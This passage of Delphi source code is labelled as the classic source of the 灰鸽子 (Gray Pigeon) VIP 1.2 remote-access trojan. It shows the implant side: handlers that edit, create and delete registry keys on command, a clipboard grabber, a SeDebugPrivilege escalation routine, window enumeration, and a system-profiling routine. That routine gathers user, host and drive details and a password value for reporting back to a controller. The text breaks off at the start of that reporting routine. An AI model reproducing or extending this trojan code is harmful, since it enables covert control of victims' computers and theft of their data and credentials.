mainserver.pas

灰鸽子VIP1.2经典源代码

    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.OpenKey(rpath,false) then
      begin
        case rtype of
             0:begin //string edit/
                    myreg.WriteString(rname,rvalue);
               end;
             1:begin //integer edit//
                     myreg.WriteInteger(rname,strtoint(rvalue));
               end;
             2:begin //bin edit//
                     if (length(rvalue) mod 16)=0 then
                        s_line:=length(rvalue) div 16 else
                            s_line:=1+length(rvalue) div 16;
                      for loop:=1 to s_line do
                        begin
                          buf_write[loop]:=strtoint64('0x'+Transtrhex(copy(rvalue,(loop-1)*16+1,16)));
                        end;
                      myreg.WriteBinaryData(rname,buf_write,length(rvalue) div 2);
               end;
             3:begin
                      myreg.RenameValue(rname,rvalue);
               end;
             4:begin //expandstring edit//
                    myreg.WriteExpandString (rname,rvalue);
               end;
             5:begin
                     myreg.MoveKey(rname,rvalue,true);
               end;
             end;
      end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;

{删除注册表主建}
procedure TH_GZVIP2004.Deleteregkey(var StrTmpList:TStringList);
var
myreg:TRegistry;
RKey,Rpath,Temp  : String;
i:integer;
begin
try
  RKey:=StrTmpList[2];
  Rpath:=StrTmpList[3];
except
  Exit;
end;

    myreg:=TRegistry.Create;
 try
    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.KeyExists(Rpath) then
       myreg.DeleteKey(Rpath);
 finally
    myreg.CloseKey;
    myreg.Free;
 end;
end;

{新建注册表主键}
procedure TH_GZVIP2004.Newregvalue(var StrTmpList:TStringList);{要新键的类型}
var
myreg:TRegistry;
nulint,i:integer;
RKey  : String;    {主键}
Rpath : String;     {子键路径}
Rname,Temp : String;     {要新建的键名}
Rtype : integer;
begin
try
  RKey:=StrTmpList[2];
  Rpath:=StrTmpList[3];
  Rname:=StrTmpList[4];
  //if Rname='(默认)' then Rname:='';
  Rtype:=strtoint(StrTmpList[5]);
except
Exit;
end;

  myreg:=TRegistry.Create;

  try
    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.OpenKey(Rpath,False) then
      begin
        case rtype of
             0:begin  //主键//
                 if not myreg.KeyExists(rname) then
                    myreg.OpenKey(rname,true);
               end;
             1:begin  //二进制//
                 if not myreg.ValueExists(rname) then
                    myreg.WriteBinaryData(rname,nulint,0);
               end;
             2:begin //整数//
                 if not myreg.ValueExists(rname) then
                    myreg.WriteInteger(rname,0);
               end;
             3:begin  //字符串//
                 if not myreg.ValueExists(rname) then
                   myreg.WriteString(rname,'');
               end;
             4:begin
                 if not myreg.ValueExists(rname) then
                    myreg.WriteExpandString(rname,'');
               end;
         end;
      end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;


function TH_GZVIP2004.Clip_Text :string;
var Clip_Tstr:Tstringlist;
begin
  Clip_Tstr:=Tstringlist.Create;
  if (Clipboard.HasFormat(CF_TEXT) or Clipboard.HasFormat(CF_OEMTEXT)) then
       CLip_Tstr.Text :=ClipBoard.AsText+#13#10;
  if CLip_Tstr.Text='' then  CLip_Tstr.Text :='NULL';     //剪切板内容为空或非文本信息.
  Result :=Clip_Tstr.Text;
  Clip_Tstr.Free;
end;


function EnableDebugPrivilege: Boolean;
  function EnablePrivilege(hToken: Cardinal; PrivName: string; bEnable: Boolean): Boolean;
  var
    TP: TOKEN_PRIVILEGES;
    Dummy: Cardinal;
  begin
  try
    TP.PrivilegeCount := 1;
    LookupPrivilegeValue(nil, pchar(PrivName), TP.Privileges[0].Luid);
    if bEnable then
      TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
    else TP.Privileges[0].Attributes := 0;
    AdjustTokenPrivileges(hToken, False, TP, SizeOf(TP), nil, Dummy);
    Result := GetLastError = ERROR_SUCCESS;
  except
  end;
  end;
var
  hToken: Cardinal;
begin
try
  OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken);
  EnablePrivilege(hToken, 'SeDebugPrivilege', True);
  CloseHandle(hToken);
except
end;
end;


{搜索所有窗口}
function TH_GZVIP2004.Searchallwindow:string;
var
  hCurrentWindow: HWnd;
  szText: array[0..254] of char;
  i:integer;
  winlist:TStringlist;
begin
  winlist:=TStringlist.Create;
  for i:=0 to 100 do allhwnd[i]:=0;
  i:=0;
  hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
  while hCurrentWindow <> 0 do
  begin
    if GetWindowText(hCurrentWindow, @szText, 255) > 0 then
      begin
             if sztext<>'Default IME' then
                begin
                  allhwnd[i]:=hcurrentwindow;
                  inc(i);
                  Winlist.Add(Sztext);
                end;
          end;
    hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);
  end;
  Result :=Winlist.Text;
  Winlist.Free;
end;

  Function GetOSVersion : Integer;
  Var
      osVerInfo          : TOSVersionInfo;
      majorVer, minorVer : Integer;
  Begin
      Result := cOsUnknown;
      osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
      If ( GetVersionEx(osVerInfo) ) Then Begin
          majorVer := osVerInfo.dwMajorVersion;
          minorVer := osVerInfo.dwMinorVersion;
          Case ( osVerInfo.dwPlatformId ) Of
              VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
                  Begin
                      If ( majorVer <= 4 ) Then
                          Result := cOsWinNT
                      Else
                          If ( ( majorVer = 5 ) And ( minorVer= 0 ) ) Then
                              Result := cOsWin2000
                          Else
                              If ( ( majorVer = 5) And ( minorVer = 1 ) ) Then
                                  Result := cOsWhistler
                              Else
                                  Result := cOsUnknown;
                  End;
              VER_PLATFORM_WIN32_WINDOWS :  { Windows 9x/ME }
                  Begin
                      If ( ( majorVer = 4 ) And ( minorVer = 0 ) ) Then
                          Result := cOsWin95
                      Else If ( ( majorVer = 4 ) And ( minorVer = 10 ) ) Then Begin
                          If ( osVerInfo.szCSDVersion[ 1 ] = 'A' ) Then
                              Result := cOsWin98SE
                          Else
                              Result := cOsWin98;
                      End Else If ( ( majorVer = 4) And ( minorVer = 90 ) ) Then
                          Result := cOsWinME
                      Else
                          Result := cOsUnknown;
                  End;
          Else
              Result := cOsUnknown;
          End;
      End Else
          Result := cOsUnknown;
  End;

  Function GetOSName( OSCode : Integer ) : String;
  Begin
      If ( OSCode = cOsUnknown ) Then
          Result := 'Microsoft Unknown'
      Else If ( OSCode = cOsWin95 ) Then
          Result := 'Windows 95'
      Else If ( OSCode = cOsWin98 ) Then
          Result := 'Windows 98'
      Else If ( OSCode = cOsWin98SE ) Then
          Result := 'Windows 98 SE'
      Else If ( OSCode = cOsWinME ) Then
          Result := 'Windows ME'
      Else If ( OSCode = cOsWinNT ) Then
          Result := 'Windows NT'
      Else If ( OSCode = cOsWin2000 ) Then
          Result := 'Windows 2000 / NT 5'
      Else
          Result := 'Windows XP / Other';
  End;



{操作系统版本}
function Winversion :string;
var osvi:OSVERSIONINFO;
begin
  osvi.dwOSVersionInfoSize :=sizeof(osversioninfo);;
  getversionex(osvi);
  case osvi.dwPlatformId of
       VER_PLATFORM_WIN32s:result:='Windows 3.1';
       VER_PLATFORM_WIN32_NT :result:='Windows NT';
       VER_PLATFORM_WIN32_WINDOWS :result:='Windows 9x';
       end;
end;

function DiskInDrive(Drive: Char): Boolean;
var ErrorMode: word;
begin
   if Drive in ['a'..'z'] then Dec(Drive, $20);
   if not (Drive in ['A'..'Z']) then
   raise EConvertError.Create('Not a valid drive ID');
   ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
   try
     if DiskSize(Ord(Drive) - $40) = -1 then
     Result := False
   else
     Result := True;
   finally
     SetErrorMode(ErrorMode);
   end;
end;

{物理内存}
function Phymemery :string;
var meminfo:memorystatus;
begin
  meminfo.dwLength :=sizeof(memorystatus);
  GlobalMemoryStatus(meminfo);
  Result :=inttostr(meminfo.dwTotalPhys div 1024)+'KB';
end;

{得到驱动器}
function GetDrivernum:String;
var
i:Char;
AChar:array[1..3] of char;
j:integer;
drv:PChar;
DiskList:TStringList;
begin
try
  DiskList:=TStringList.Create;
  for i:='C' to 'Z' do
    begin
      if DiskInDrive(i) then
        begin
          AChar[1]:=i;
          AChar[2]:=':';
          AChar[3]:=#0;
          drv:=@AChar;
          J:=GetDriveType(drv);
          if J=DRIVE_REMOVABLE then
	           DiskList.Add(i+':18');  //(软盘)
          if J=DRIVE_FIXED then
	           DiskList.Add(i+':15');   //(硬盘)
          if J=DRIVE_REMOTE then
	          DiskList.Add(i+':17');    //(网络映射)
          if J=DRIVE_CDROM then
            DiskList.Add(i+':16');   // (光盘)
          if J=DRIVE_RAMDISK then
            DiskList.Add(i+':18'); //(虚拟盘)
          if J=DRIVE_UNKNOWN then
            DiskList.Add(i+':18'); //(未知盘)
        end;
    end;
   Result :=DiskList.Text;
finally
   DiskList.Free;
end;
end;

{计算机名称}
function Computername :string;
var temp:pchar;
    size:DWord;
begin
   getmem(temp,255);
   size:=255;
   if GetComputerName(temp,size)=false then
     begin
       freemem(temp);
       exit;
     end;
   computername:=temp;
   freemem(temp);
end;

{窗口分辨率}
function Windowssize:string;
begin
  Result :=inttostr(GetSystemMetrics(SM_CXSCREEN))
    +'X'+inttostr(GetSystemMetrics(SM_CYSCREEN));
end;

function regist(id:word):string;
var reg:tregistry;
begin
  reg:=tregistry.Create ;
  try
    reg.rootkey:=HKEY_LOCAL_MACHINE;
    reg.OpenKey('Software\Microsoft\windows\currentversion',false);
    case id of
          0:result:=reg.ReadString('Registeredorganization');
          1:result:=reg.readstring('RegisteredOwner');
          end;
  finally
    reg.CloseKey;
    reg.Free;
  end;;
end;

{当前用户}
function Currentuser :string;
var
  lpName: PAnsiChar;
  lpUserName: PAnsiChar;
  lpnLength: DWORD;
begin
  lpName :='';
  Result := '';
  lpnLength := 0;
  WNetGetUser(nil, nil, lpnLength);
  if lpnLength > 0 then
    begin
      GetMem(lpUserName, lpnLength);
      if WNetGetUser(lpName, lpUserName, lpnLength) = NO_ERROR then
      Result := lpUserName;
      FreeMem(lpUserName, lpnLength);
    end;
end;


function Getopentime :string;
var h,m,s:integer;
begin
  h:=(gettickcount div 1000) div 3600;
  s:=(gettickcount div 1000) mod 60;
  m:=(gettickcount div 1000) div 60-h*60;
  result:=inttostr(h)+':'+inttostr(m)+':'+inttostr(s);
end;

{系统信息}
function SystemXingxi :String;
var
    Infolist:TStringlist;
begin
 infolist:=TStringlist.Create;
  Infolist.Add(Format('%f MHz', [GetCPUSpeed]));  //'系统芯片:     '+
  Infolist.add(phymemery);     //'物理内存:     '+
  Infolist.add(GetOSName(GetOSVersion)); //'Windows版本:  '+ '+
  Infolist.add(windowspath); //'Windows目录:
  Infolist.add(regist(0)); //'注册公司:     '+
  Infolist.add(regist(1));    //'注册用户:     '+
  Infolist.add(Currentuser);   //'当前用户:     '
  Infolist.add(DatetoStr(now)+' '+TimetoStr(now));  //'当前日期:     '+
  Infolist.add(Getopentime);    //'开机时间:     '+
  Infolist.add(computername);   // '计算机名称:   '+
  Infolist.add(Windowssize);   //'窗口分辨率:   '+
  
  Infolist.add('HUI_GE_ZI_VIP_1.2');   //'服务端版本:   '+
  try
    Infolist.add(GetDriverList[0]);    // '视频设备:     '+
  except
  end;
  Infolist.add(GetPassword);   //'服务端版本:   '+
  Result :=infolist.Text ;
  infolist.Free;
end;

{当连接上客户端后发送上线信息}
Procedure TH_GZVIP2004.HttpConokSend;
var
Temp,Bz:String;